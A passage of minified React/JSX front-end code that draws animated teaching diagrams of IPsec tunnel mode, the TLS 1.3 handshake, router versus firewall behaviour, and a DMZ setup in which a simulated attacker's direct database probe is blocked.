SERVER`,sub:`10.2.0.50:443`,active:!0,success:n}),e>=1&&(0,k.jsx)(A,{x1:115,y1:80,x2:195,y2:80,color:`#2563eb`,label:`PLAINTEXT`}),e>=3&&(0,k.jsx)(A,{x1:285,y1:80,x2:515,y2:80,color:`#8b5cf6`,label:`🔒 ESP CIPHERTEXT`}),n&&(0,k.jsx)(A,{x1:605,y1:80,x2:645,y2:80,color:`#10b981`,label:`PLAINTEXT ✓`}),e>=1&&(0,k.jsx)(j,{cx:r,cy:30,title:t?`IPSEC ESP PACKET`:`ORIGINAL DATA`,protocol:t?`ESP`:`TCP`,port:t?`50`:`443`,src:t?`203.0.113.1`:`10.1.0.10`,dst:t?`198.51.100.1`:`10.2.0.50`,isEncrypted:t,status:t?`ENCRYPT`:n?`ALLOW`:`NORMAL`,scale:.78}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`IPSEC TUNNEL MODE PACKET ENCAPSULATION & TRANSFORMATION PIPELINE`}),(0,k.jsxs)(`g`,{transform:`translate(16, 38)`,children:[(0,k.jsxs)(`g`,{transform:`translate(0, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`150`,height:`75`,rx:`6`,fill:`#eff6ff`,stroke:`#93c5fd`}),(0,k.jsx)(`text`,{x:`75`,y:`18`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`8`,fontWeight:`bold`,children:`1. ORIGINAL IP PACKET`}),(0,k.jsx)(`rect`,{x:`8`,y:`28`,width:`134`,height:`18`,rx:`3`,fill:`#ffffff`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`75`,y:`41`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:`Src: 10.1.0.10 | Dst: 10.2.0.50`}),(0,k.jsx)(`rect`,{x:`8`,y:`48`,width:`134`,height:`18`,rx:`3`,fill:`#ffffff`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`75`,y:`61`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`7.5`,fontFamily:`monospace`,children:`TCP Payload (Plaintext)`})]}),(0,k.jsx)(`text`,{x:`162`,y:`42`,fill:`#8b5cf6`,fontSize:`14`,fontWeight:`bold`,children:`➔`}),(0,k.jsxs)(`g`,{transform:`translate(185, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`280`,height:`75`,rx:`6`,fill:`#faf5ff`,stroke:`#c084fc`,strokeWidth:1.5}),(0,k.jsx)(`text`,{x:`140`,y:`18`,textAnchor:`middle`,fill:`#6b21a8`,fontSize:`8`,fontWeight:`bold`,children:`2. ENCRYPTED IPSEC ESP TUNNEL PACKET`}),(0,k.jsx)(`rect`,{x:`6`,y:`28`,width:`65`,height:`38`,rx:`3`,fill:`#3b82f6`}),(0,k.jsx)(`text`,{x:`38`,y:`45`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontWeight:`bold`,children:`NEW IP HDR`}),(0,k.jsx)(`text`,{x:`38`,y:`58`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6`,fontFamily:`monospace`,children:`203→198`}),(0,k.jsx)(`rect`,{x:`74`,y:`28`,width:`45`,height:`38`,rx:`3`,fill:`#8b5cf6`}),(0,k.jsx)(`text`,{x:`96`,y:`50`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontWeight:`bold`,children:`ESP HDR`}),(0,k.jsx)(`rect`,{x:`122`,y:`28`,width:`95`,height:`38`,rx:`3`,fill:`#4c1d95`}),(0,k.jsx)(`text`,{x:`169`,y:`45`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontWeight:`bold`,children:`🔒 ENCRYPTED`}),(0,k.jsx)(`text`,{x:`169`,y:`58`,textAnchor:`middle`,fill:`#c084fc`,fontSize:`6`,fontFamily:`monospace`,children:`Orig IP + Data`}),(0,k.jsx)(`rect`,{x:`220`,y:`28`,width:`54`,height:`38`,rx:`3`,fill:`#a855f7`}),(0,k.jsx)(`text`,{x:`247`,y:`50`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontWeight:`bold`,children:`ESP AUTH`})]}),(0,k.jsx)(`text`,{x:`477`,y:`42`,fill:`#10b981`,fontSize:`14`,fontWeight:`bold`,children:`➔`}),(0,k.jsxs)(`g`,{transform:`translate(500, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`165`,height:`75`,rx:`6`,fill:`#ecfdf5`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`82`,y:`18`,textAnchor:`middle`,fill:`#065f46`,fontSize:`8`,fontWeight:`bold`,children:`3. RECONSTRUCTED`}),(0,k.jsx)(`rect`,{x:`8`,y:`28`,width:`149`,height:`18`,rx:`3`,fill:`#ffffff`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`82`,y:`41`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:`Src: 10.1.0.10 | Dst: 10.2.0.50`}),(0,k.jsx)(`rect`,{x:`8`,y:`48`,width:`149`,height:`18`,rx:`3`,fill:`#ffffff`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`82`,y:`61`,textAnchor:`middle`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`Decrypted Plaintext ✓`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 130)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`46`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`18`,fill:`#334155`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TRANSFORMATION RULE: PLAINTEXT → IPSEC ENCRYPTION (AES-GCM) → CIPHERTEXT TUNNEL TRANSIT → DECRYPTION → PLAINTEXT DELIVERED.`}),(0,k.jsx)(`text`,{x:`14`,y:`34`,fill:`#64748b`,fontSize:`7.5`,children:`Tunnel Mode wraps the entire original packet (including private IP headers) inside a new public IP header, protecting against traffic analysis.`})]})]})]})},an=({currentStepIndex:e})=>{let t=e===1,n=e===2||e===3,r=e>=4,i=e>=5,a=e>=6;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`80`,x2:`640`,y2:`80`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),(0,k.jsx)(M,{cx:120,cy:80,label:`CLIENT BROWSER`,ip:`192.168.1.100`,active:e>=1,success:i}),e>=1&&(0,k.jsx)(P,{cx:640,cy:80,label:`HTTPS WEB SERVER`,sub:`example.com:443`,active:e>=1,success:i}),t&&(0,k.jsx)(A,{x1:160,y1:80,x2:590,y2:80,color:`#2563eb`,label:`1. ClientHello (ECDHE KeyShare)`}),n&&(0,k.jsx)(A,{x1:590,y1:80,x2:160,y2:80,color:`#10b981`,reverse:!0,label:`2. ServerHello (TLS_AES_256_GCM)`,curveOffset:20}),r&&(0,k.jsxs)(`g`,{transform:`translate(120, 25)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`-55`,y:`-12`,width:`110`,height:`24`,rx:`12`,fill:`#ecfdf5`,stroke:`#10b981`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#065f46`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`✓ CERT VERIFIED`})]}),i&&(0,k.jsxs)(`g`,{transform:`translate(380, 80)`,children:[(0,k.jsx)(`rect`,{x:`-170`,y:`-16`,width:`340`,height:`32`,rx:`16`,fill:`#f3e8ff`,stroke:`#a855f7`,strokeWidth:`2`,strokeDasharray:`6 3`}),(0,k.jsx)(`text`,{x:`0`,y:`4.5`,textAnchor:`middle`,fill:`#6b21a8`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`🔒 TLS 1.3 SECURE ENCRYPTED SESSION ACTIVE`})]}),a&&(0,k.jsx)(A,{x1:160,y1:80,x2:590,y2:80,color:`#8b5cf6`,label:`🔒 AES-GCM ENCRYPTED HTTP`}),a&&(0,k.jsx)(j,{cx:480,cy:30,title:`APPLICATION DATA`,protocol:`TLS`,port:`443`,src:`CLIENT`,dst:`SERVER`,isEncrypted:!0,status:`ENCRYPT`,scale:.8}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`TLS 1.3 1-RTT HANDSHAKE STATE MACHINE`}),(0,k.jsx)(`g`,{transform:`translate(16, 38)`,children:[{step:`1. CLIENT HELLO`,desc:`Supported Ciphers + ECDHE KeyShare`,active:t,done:e>=1},{step:`2. SERVER HELLO`,desc:`Selected Cipher + Server KeyShare`,active:n,done:e>=2},{step:`3. AUTHENTICATION`,desc:`X.509 Certificate Verified by CA`,active:e===2||e===3,done:r},{step:`4. ENCRYPTED DATA`,desc:`AES-256-GCM Symmetric Cipher Active`,active:i,done:a}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*170}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`160`,height:`65`,rx:`6`,fill:e.done?`#ecfdf5`:e.active?`#eff6ff`:`#f8fafc`,stroke:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`,strokeWidth:e.active||e.done?2:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`160`,height:`18`,rx:`5`,fill:e.done?`#10b981`:e.active?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`80`,y:`13`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7.5`,fontWeight:`bold`,children:e.step}),(0,k.jsx)(`text`,{x:`80`,y:`38`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:e.desc.split(`+`)[0]}),e.desc.includes(`+`)&&(0,k.jsxs)(`text`,{x:`80`,y:`52`,textAnchor:`middle`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:[`+`,e.desc.split(`+`)[1]]})]},e.step))}),(0,k.jsxs)(`g`,{transform:`translate(16, 125)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`50`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`18`,fill:`#334155`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`HANDSHAKE LIFECYCLE: HANDSHAKE (1-RTT) → AUTHENTICATION (X.509) → SECURE SESSION (ECDHE) → ENCRYPTED DATA (AES-GCM).`}),(0,k.jsx)(`text`,{x:`14`,y:`34`,fill:`#64748b`,fontSize:`7.5`,children:`TLS 1.3 reduces the handshake to 1-RTT (Round Trip Time) by sending the client key share in the very first ClientHello message.`})]})]})]})},on=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=5&&e<=15,o=e>=16,s=e>=7&&e<=8,c=e>=10&&e<=13,l=e===15||e===16,u=e===17,d=e>=18,f=80;e===5?f=80:e===6?f=170:e>=7&&e<=8?f=260:e===9?f=355:e>=10&&e<=13?f=450:e===14?f=555:e>=15&&(f=660);let p=660;return e===16?p=660:e===17?p=360:e>=18&&(p=80),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),e===6&&(0,k.jsx)(A,{x1:115,y1:75,x2:225,y2:75,color:`#2563eb`,label:`TRANSMITTING →`}),e===9&&(0,k.jsx)(A,{x1:295,y1:75,x2:415,y2:75,color:`#0891b2`,label:`ROUTED →`}),e===14&&(0,k.jsx)(A,{x1:485,y1:75,x2:625,y2:75,color:`#10b981`,label:`PERMITTED →`}),u&&(0,k.jsx)(A,{x1:625,y1:75,x2:115,y2:75,color:`#8b5cf6`,label:`← RETURN REPLY (STATEFUL)`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`10.0.0.25`,active:e<=6||d,statusText:d?`RECEIVED ✓`:void 0}),t&&(0,k.jsx)(F,{cx:260,cy:75,label:`ROUTER`,sub:s?`Route Lookup`:`Path Engine`,active:s||u&&p<=260}),n&&(0,k.jsx)(N,{cx:450,cy:75,label:`FIREWALL`,sub:c?`ACL Inspection`:`Policy Engine`,active:c||u&&p<=450,success:e>=13}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:`SERVER`,sub:`10.0.0.50:443`,active:l,success:e>=15,statusText:e>=15?`ACCEPTED ✓`:`STANDBY`}),a&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:f,cy:28,title:e>=13?`PERMITTED`:e>=7?`ROUTED`:`TCP SYN`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`10.0.0.50`,status:c?`INSPECT`:e>=13?`ALLOW`:`NORMAL`,scale:.78})}),o&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:p,cy:28,title:`HTTP 200 / ACK`,protocol:`TCP`,port:`49152`,src:`10.0.0.50`,dst:`10.0.0.25`,status:`ALLOW`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:e>=7&&e<=8?`ROUTER OPERATION: ROUTING TABLE (FIB) LOOKUP → PATH SELECTION`:e>=10&&e<=13?`FIREWALL OPERATION: 5-TUPLE STATEFUL SECURITY POLICY EVALUATION`:e>=16?`FULL ROUND-TRIP COMPLETE: STATEFUL RETURN FLOW TO CLIENT`:`ROUTER (WHERE TRAFFIC GOES) vs FIREWALL (WHETHER TRAFFIC IS ALLOWED)`}),e>=7&&e<=8?(0,k.jsxs)(`g`,{transform:`translate(16, 40)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`125`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`20`,fill:`#0369a1`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`ROUTING TABLE (FIB) - EVALUATING DESTINATION IP: 10.0.0.50`}),(0,k.jsxs)(`g`,{transform:`translate(12, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`28`,rx:`4`,fill:`#e0f2fe`,stroke:`#0284c7`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`10`,y:`18`,fill:`#0369a1`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`MATCH: 10.0.0.0/24 via Interface eth1 (Next-Hop: Firewall 10.0.0.1) ✓`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 70)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`24`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:`DEFAULT: 0.0.0.0/0 via WAN Gateway eth0 (Next-Hop: 203.0.113.1)`})]}),(0,k.jsx)(`text`,{x:`12`,y:`115`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ROUTER DECISION: Forward packet out eth1 towards Firewall. (Does not perform security policy check).`})]}):e>=10&&e<=13?(0,k.jsxs)(`g`,{transform:`translate(16, 40)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`125`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`20`,fill:`#065f46`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`FIREWALL SECURITY POLICY RULEBASE - EVALUATING 5-TUPLE`}),(0,k.jsxs)(`g`,{transform:`translate(12, 34)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`30`,rx:`4`,fill:e>=12?`#dcfce7`:`#eff6ff`,stroke:e>=12?`#16a34a`:`#3b82f6`,strokeWidth:`1.5`}),(0,k.jsxs)(`text`,{x:`10`,y:`19`,fill:e>=12?`#15803d`:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule 101: ALLOW SRC=10.0.0.0/24 DST=10.0.0.50 PROTO=TCP PORT=443 `,e>=12&&`→ MATCH: ALLOW ✓`]})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 70)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`24`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:`Default Deny: DENY ANY ANY ANY (Implicit Deny)`})]}),(0,k.jsx)(`text`,{x:`12`,y:`115`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`FIREWALL DECISION: Packet matches permitted rule; state table entry created; forwarded to Server.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#f0f9ff`,stroke:`#bae6fd`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#0369a1`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`ROUTER (Layer 3 Routing Engine)`}),(0,k.jsx)(`text`,{x:`12`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Mission: Determines WHERE packets travel across networks.`}),(0,k.jsx)(`text`,{x:`12`,y:`52`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Metric: Routing Table / FIB (Destination IP lookup).`}),(0,k.jsx)(`text`,{x:`12`,y:`68`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Default Policy: Forwards all routable packets by default.`}),(0,k.jsx)(`text`,{x:`12`,y:`84`,fill:`#0f172a`,fontSize:`7.5`,children:`4. State: Stateless packet-by-packet forwarding.`}),(0,k.jsx)(`text`,{x:`12`,y:`104`,fill:`#0369a1`,fontSize:`7.5`,fontWeight:`bold`,children:`SUMMARY: Selects the optimal path towards destination.`}),(0,k.jsx)(`rect`,{x:`345`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#f0fdf4`,stroke:`#bbf7d0`}),(0,k.jsx)(`text`,{x:`357`,y:`18`,fill:`#15803d`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`FIREWALL (Layer 3-7 Security Gateway)`}),(0,k.jsx)(`text`,{x:`357`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Mission: Decides WHETHER packets are allowed to pass.`}),(0,k.jsx)(`text`,{x:`357`,y:`52`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Metric: Security Policy ACL & 5-Tuple State Table.`}),(0,k.jsx)(`text`,{x:`357`,y:`68`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Default Policy: Drops unmatched traffic (Implicit Deny).`}),(0,k.jsx)(`text`,{x:`357`,y:`84`,fill:`#0f172a`,fontSize:`7.5`,children:`4. State: Full bidirectional state tracking (TCP/UDP).`}),(0,k.jsx)(`text`,{x:`357`,y:`104`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`SUMMARY: Enforces organizational security boundaries.`})]})]})]})},sn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=5,o=e>=6,s=e>=18,c=70,l=`HTTPS SYN`,u=`203.0.113.45`,d=`198.51.100.10:443`,f=`NORMAL`;return e===7?c=70:e===8?c=180:e===9?(c=260,f=`INSPECT`):e===10?(c=350,f=`ALLOW`):e===11?(c=420,f=`ALLOW`):e===12?(c=420,l=`SQL QUERY`,u=`10.0.1.10`,d=`10.0.2.100:1433`):e===13?(c=340,l=`SQL QUERY`,u=`10.0.1.10`,d=`10.0.2.100:1433`):e===14?(c=260,l=`SQL QUERY`,f=`INSPECT`):e===15?(c=550,l=`SQL QUERY`,f=`ALLOW`):e===16?(c=660,l=`SQL DATA`,f=`ALLOW`):e===17?(c=70,l=`HTTP 200`,f=`ALLOW`):e===18?(c=70,l=`DIRECT EXPLOIT`,u=`198.51.100.99`,d=`10.0.2.100:1433`,f=`DENY`):e===19?(c=170,l=`DIRECT EXPLOIT`,u=`198.51.100.99`,d=`10.0.2.100:1433`,f=`DENY`):e>=20&&(c=260,l=`BLOCKED ✕`,u=`198.51.100.99`,d=`10.0.2.100:1433`,f=`DENY`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[n&&(0,k.jsxs)(`g`,{className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`340`,y:`20`,width:`160`,height:`110`,rx:`8`,fill:`#fef3c7`,fillOpacity:`0.4`,stroke:`#f59e0b`,strokeWidth:`1.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`text`,{x:`420`,y:`34`,textAnchor:`middle`,fill:`#b45309`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DMZ BUFFER ZONE (SEC LEVEL 50)`})]}),i&&(0,k.jsxs)(`g`,{className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`580`,y:`20`,width:`160`,height:`110`,rx:`8`,fill:`#dcfce7`,fillOpacity:`0.4`,stroke:`#22c55e`,strokeWidth:`1.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`text`,{x:`660`,y:`34`,textAnchor:`middle`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`INTERNAL LAN ZONE (SEC LEVEL 100)`})]}),o&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`260`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`line`,{x1:`260`,y1:`75`,x2:`420`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),(0,k.jsx)(`line`,{x1:`420`,y1:`75`,x2:`260`,y2:`105`,stroke:`#cbd5e1`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(`line`,{x1:`260`,y1:`105`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`})]}),e===8&&(0,k.jsx)(A,{x1:100,y1:75,x2:220,y2:75,color:`#2563eb`,label:`WAN INGRESS →`}),e===10&&(0,k.jsx)(A,{x1:290,y1:75,x2:385,y2:75,color:`#10b981`,label:`TO DMZ →`}),e===13&&(0,k.jsx)(A,{x1:385,y1:75,x2:290,y2:105,color:`#f59e0b`,label:`PINHOLE REQ`}),e===15&&(0,k.jsx)(A,{x1:290,y1:105,x2:625,y2:75,color:`#10b981`,label:`TO INTERNAL DB →`}),e===19&&(0,k.jsx)(A,{x1:100,y1:75,x2:220,y2:75,color:`#ef4444`,label:`ATTACK PROBE →`}),(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`circle`,{cx:70,cy:75,r:26,fill:s?`#fee2e2`:`#eff6ff`,stroke:s?`#ef4444`:`#3b82f6`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:70,y:72,textAnchor:`middle`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:s?`ATTACKER`:`INTERNET`}),(0,k.jsx)(`text`,{x:70,y:83,textAnchor:`middle`,fill:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:s?`198.51.100.99`:`WAN: Sec 0`})]}),t&&(0,k.jsx)(N,{cx:260,cy:75,label:`EDGE FIREWALL`,sub:e>=20?`DROPPED ✕`:e>=9?`INSPECTING`:`Zone Gateway`,active:e>=8&&e<=21,success:e>=10&&!s}),r&&(0,k.jsx)(P,{cx:420,cy:75,label:`DMZ WEB SERVER`,sub:`10.0.1.10:443`,active:e>=10&&e<=17,success:e>=11&&e<=17,statusText:e>=11&&e<=17?`ACTIVE ✓`:`STANDBY`}),a&&(0,k.jsx)(P,{cx:660,cy:75,label:`INTERNAL DATABASE`,sub:`10.0.2.100:1433`,active:e>=15&&e<=16,success:e>=16&&e<=17,statusText:e>=20?`PROTECTED ✓`:e>=16?`QUERIED ✓`:`ISOLATED`}),e>=7&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:c,cy:26,title:l,protocol:`TCP`,port:d.split(`:`)[1]||`443`,src:u,dst:d,status:f,scale:.75})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:s?`DMZ SECURITY POLICY: DIRECT INTERNET → INTERNAL DATABASE STRICTLY FORBIDDEN`:e>=12&&e<=17?`DMZ TO INTERNAL PINHOLE: WEB SERVER AUTHORIZED TO QUERY BACKEND SQL DATABASE`:`DEMILITARIZED ZONE (DMZ) PERIMETER SEGMENTATION & ACCESS CONTROL`}),s?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#fef2f2`,stroke:`#f87171`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`14`,y:`20`,fill:`#991b1b`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`SECURITY ENFORCEMENT: DIRECT WAN-TO-INTERNAL ACCESS BLOCKED`}),(0,k.jsx)(`text`,{x:`14`,y:`42`,fill:`#0f172a`,fontSize:`8`,children:`1. Attacker (198.51.100.99) attempted direct connection to Internal DB (10.0.2.100:1433).`}),(0,k.jsx)(`text`,{x:`14`,y:`60`,fill:`#0f172a`,fontSize:`8`,children:`2. Perimeter Firewall checks zone boundary rules: WAN (Sec 0) → Internal (Sec 100) Direct Routing = NO ROUTE / IMPLICIT DENY.`}),(0,k.jsx)(`text`,{x:`14`,y:`78`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. PACKET DROPPED AT EDGE FIREWALL ✕ (Database server receives 0 packets and remains completely untouched).`}),(0,k.jsx)(`text`,{x:`14`,y:`105`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,children:`CORE PRINCIPLE: Public-facing services sit in the DMZ. Internal databases never accept connections from the Internet.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#fffbeb`,stroke:`#fcd34d`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#b45309`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`DMZ ZONE RULES (Buffer Zone)`}),(0,k.jsx)(`text`,{x:`12`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Internet → DMZ: ALLOW strictly public ports (80/443).`}),(0,k.jsx)(`text`,{x:`12`,y:`52`,fill:`#0f172a`,fontSize:`7.5`,children:`2. DMZ → Internet: ALLOW for return traffic & updates.`}),(0,k.jsx)(`text`,{x:`12`,y:`68`,fill:`#0f172a`,fontSize:`7.5`,children:`3. DMZ → Internal: DENY by default (Only specific pinholes allowed).`}),(0,k.jsx)(`text`,{x:`12`,y:`84`,fill:`#0f172a`,fontSize:`7.5`,children:`4. Internet → Internal: STRICTLY FORBIDDEN (No direct path).`}),(0,k.jsx)(`text`,{x:`12`,y:`105`,fill:`#b45309`,fontSize:`7.5`,fontWeight:`bold`,children:`Protects corporate assets even if web server is breached.`}),(0,k.jsx)(`rect`,{x:`345`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`357`,y:`18`,fill:`#15803d`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`MULTI-TIER 